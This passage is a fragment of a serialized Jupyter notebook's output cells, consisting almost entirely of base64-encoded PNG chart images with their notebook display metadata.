VeeInDZu4F3xY5RFiUdRtKOnfjrwJHSKUcRuMyAs2PHKJO59d0mbPxWPeeMSrX26tghilCOIggjm3ePHaJM7qpP1WnG/78tgM/GDlGEshTB52IHKJO6t2efYauyDyNp1ccq1Vo3nxW6JekXQRhHHnvUVKn0yDCSVo2nhFum0i8COCN2gLJ5qD75xdgZutzJlWqtVAdjpV0ELjsQODB2jLLpsWEkrdiGkh3VmvovvJQrbmLrwWEkrfhUmWYWpFsELnst8DexY5RNjw4jacXrgKNjh+iUdIsAjiPt/F1pNaOf7NFhJK04PnaATknzH5LLRgEfjR2jjJ72k5bEzpCQt1aqtVIcmJVmEYRzE5TiF9Bt7vNTVm78VtJgwN/HDtEJqRZBqdbYdpO59RmlPbCmIB+OHaAT0isCl21FOAe9FEDDSJo2rVKtzYodol3pFQEcDuhdqwAaRtKy5JcKUiyCI2IHKKtlGkbSqmMq1drY2CHakdYv3WWboJkDhVnst9MwktZsC+wXO0Q70ioCOBjQcfIF0TCSthwaO0A7UisCfSwokIaRtEVFMIIOjx2gzObXp2kYSev2rlRrE2OHaFU6ReCyacCOsWOUlYaRtG004aNrktIpAh1uXKg/sYWGkbQv2Y8HKRXBW2IHKDMNI+kIFcEI2D92gDLTMJKO2KVSrSV54t00fvkum0g4IaUUZG59RukGckayZ+wArUijCGBvwpFeUgDvqS+saxhJhyR5wtRUikBTigu0mtFPLmPc+Ng5SkJFUKBpsQOUmYaRdJQ+GhRo19gByuw+P2VF7AwlMr1SrY2OHaJZqRSBVhQWaF59ug7r7pxxJPjG1f1F4LItgCQ3yaTijvp0/Xw7K7nzcHZ/EWhpoFDes+JhP1m7bnfW5NgBmpVCESS3mJWSZWw6UGdUcp9pu1xy495SKILk2jUli/32z8bOUELbxQ7QrBSKYKvYAcpMw0gKoSWCAqgICjS3vtsWsTOUkJYICjAxdoAyu6s+VcNIOk9LBAXQEkFB6t6eW8qk5N69EpDcz1RF0MM0jKQw4yrV2maxQzQjhSKYGDtAWT1Un5zHzlBiY2IHaEYKRZBCxiRpGEmhVAQdps1bBdEwkkIltZNWCq1Vjx2grC4f++UdwJ6PnaOMlrOJh2dixxi2FIpASwQFGWVMBB87RimNZ2VSb2D6aCBSjKT+blUEIsVYFTtAM1IogqR+oCLAclye1NSnFIpAK7MkNckd0ZlCETwXO4BIk5L7m02hCJJrV+l5yf3NplAES2MHEGmSlggK8FTsACJNUhEUQEUgqUnuqM4UiuCx2AFEmvRg7ADN6v4icPmTwEuxY4g04XexAzSr+4sgeCB2AJFhegV4JHaIZqkIRDrrcVy+OnaIZqkIRDorufUDkE4R3B87gMgw/TZ2gFakUgSLYgcQGaZ5sQO0Io0icPnvgSdixxAZhl/GDtCKNIoguD12AJGNeAiX/zF2iFaoCEQ651exA7QqpSL4eewAIhuR5McCSKkIXP4wsCR2DJENUBGMEH08kG71JC5/KHaIVqVWBNfHDiCyHtfFDtCO1IrgWjTMVLrTT2IHaEdaReDyF4BbYscQWctLwK2xQ7QjrSIIroodQGQt1+HylbFDtCPFIvgR4VBPkW6R/JtTekXg8ueB22LHEGnIgRtih2hXekUQXB47gEjDHFy+PHaIdqVaBFcCL8YOIQJ8L3aATkizCFy+DLgsdgzpeXNxeSkOkU+zCILvxg4gPa8USwOQchG4fCE6EEnieQH4n9ghOiXdIgj+PXYA6VkXl2El4aDUi+BHwOOxQ0jPWQmcEztEJ6VdBC5fA5wVO4b0nItw+R9ih+iktIsguAR4NHYI6Rmrga/GDtFp6ReBy18BzowdQ3rGxbi8dIN00y+CYA6Q7FAIScYrwFdihyhCOYogrCv4UuwYUnoX4/KB2CGKUI4iCK4A7o0dQkorB86IHaIo5SkCl9eBfwF87ChSSv+Gy5+JHaIo5SkCAJf/Crg4dgwpnfuA82KHKFK5iiD4LPCn2CGkVE5ubJ0qrfIVQTjl1Odix5DSuBKX3xY7RNHKVwTBBcD82CEkeS8An4wdYiSUswjCisPjgBWxo0jSTsblT8UOMRLKWQQALr8fOD12DEnWNbh8TuwQI6W8RQDg8m8DtdgxJDlPAR+PHWIklbsIguOAp2OHkGR44CO4/NnYQUZS+YsgbEX4B7SjkQzPbFzec2fTKn8RALj8RuDs2DGk691IiXcj3pDeKILgc5TgRBRSmIeAYxoHsPUc876HlphdNhG4A5gaOYl0lxzYF5f/LnaQWHppiWDwbMqHA89HTiLdo05YEujZEoBhFIGZrTGzBUMulU48sZk5M/t0Bx7nIDMb/rnpXf4w8B7CAEqRz+Dynv/IOJwlguXe+5lDLgNFhyqcy39B2JJQj5xE4pqNy78eO0Q3aPqjgZltYWa3mNndZrbIzI4c8r2PmNlCM7vXzC5tXLetmV1tZvMblwOGPNwbzOxWM3vYzI5v3N7M7Gwzu6/x+Edv6Pq1ss0ys3vMbKeNvhCXfx/4GNqs2Ku+jcs/GztEtxgzjNtsZmYLGl8/DrwfOMp7/6KZbQPMM7NrgRmETS8HeO+fNbNJjft8C/im9/6XZrYjYRPN9Mb39gTeDIwH7jGzGrAfMBN4A7ANMN/Mfg7sv57rATCz/YH/AI703g9vuKTLL8JlYwmnT7Nh3UfK4ELglNghuslwimC5937m4P+Y2VjgK2b2VsKi9Q7A9sAhwFXe+2cBvPeDK+TeAcww+8u/sy3NbELj6x9775cDy83sZ8A+wFuAK7z3a4ClZnY7MGsD179IKJYLgHd675s7SMTlFzTK4NtN3U9SdQVwPC7XkuAQrWw1OBbYFtirURBLgXGEd9R1/XBHAfsNWcewg/f+pcb31r69Z/3vzBt6x15CONLwjcN7CWtx+XnAJ1q6r6TkasLuw1o3tJZWiiADnvHerzazg4HXNa6/BfiAmW0NMOSjwU+BkwbvbGYzhzzWkWY2rnGfgwgzBH4OHG1mo81sW+CtwJ0buB7CceN9hCWVg1p4TeDyc4GT0QrEsvou8IGyTxpqVStFcBmwt5ndRVg6eBDAe38/8GXgdjO7F/hG4/anNG6/0MweAE4Y8lh3Eo4OnAec2VisvwZYSJhIfCvwGe/90xu4nsbzLwX+FjjPzPZt4XUNHq34PqA0J7cUAL6Ay0/UksD69daehcPlsjcD1xFWSkq61gD/hMv/O3aQbqciWB+X7QJcD+wSO4q0ZBlwNC4f/s5mPay3djFuhssfIWzK/GXsKNK0AeBAlcDwqQg2JAynOBiYjXY8SsVPgb1w+d2xg6REHw2Gy2WHEU7BvnXsKLJOdcL5L8/USsHmqQia4bLJwJWEvRylezwNHIvLb40dJFX6aNAMl/8eeBvQT1gjLfFdCeypEmiPlgha5bJ9CPus7xY7So9aApyIy38cO0gZaImgVS6/E3gT8EVgVeQ0veZCYIZKoHO0RNAJLpsGnE/YwiDFeQw4AZffFDtI2agIOsllRwNnoZ2QOu054EzgfFyupa8CqAg6zWVjCANP/g14VeQ0qVtBmGfxVVyexw5TZiqCorhsc+A04DOEIzZl+OrAHODzuPzJ2GF6gYqgaC6bBJwKnEiY4yDrtwy4GPgGLn80cpaeoiIYKS4bRzhs+zRg97hhus5SwoSo83H5c7HD9CIVQQwuewehEA6jt2clLgDOAy7F5RovH5GKICaX7Qh8EPgQYZBrL3gWuBy4CJcviJxFGlQE3cJluxEK4YPAlMhpOu0l4MeEArhJ48K6j4qgG4Xdlw8D3k2Y1JzaHqCesNh/I+HEs7/G5aujJpINUhF0u7DV4W2EvRYPJpw/otuKwQOPEk4weyPwU1y+NG4kaYaKIDUuG09YnzBzyGUPYLMRSuCBR4DfDLncrR1+0qYiKAOXjQZ2AnYEJq/jshXh3BPjCIWxyToeZQ3wMuEU4S8SdutdPOTyxF/+6/IVBb4aiUBF0ItcZoRS2BRYDazA5Zqv0MNUBCLSdSudRCQCFYGIqAhEREUgIqgIRAQVgYigIhARVAQigopARFARiAgqAhFBRSAiqAhEBBWBiKAiEBFUBCKCikBEUBGICCoCEUFFICKoCEQEFYGIoCIQEVQEIoKKQERQEYgIKgIRAf4P81+HXyP4zIAAAAAASUVORK5CYII=\n", + "text/plain": [ + "
" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "image/png": "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\n", + "text/plain": [ + "
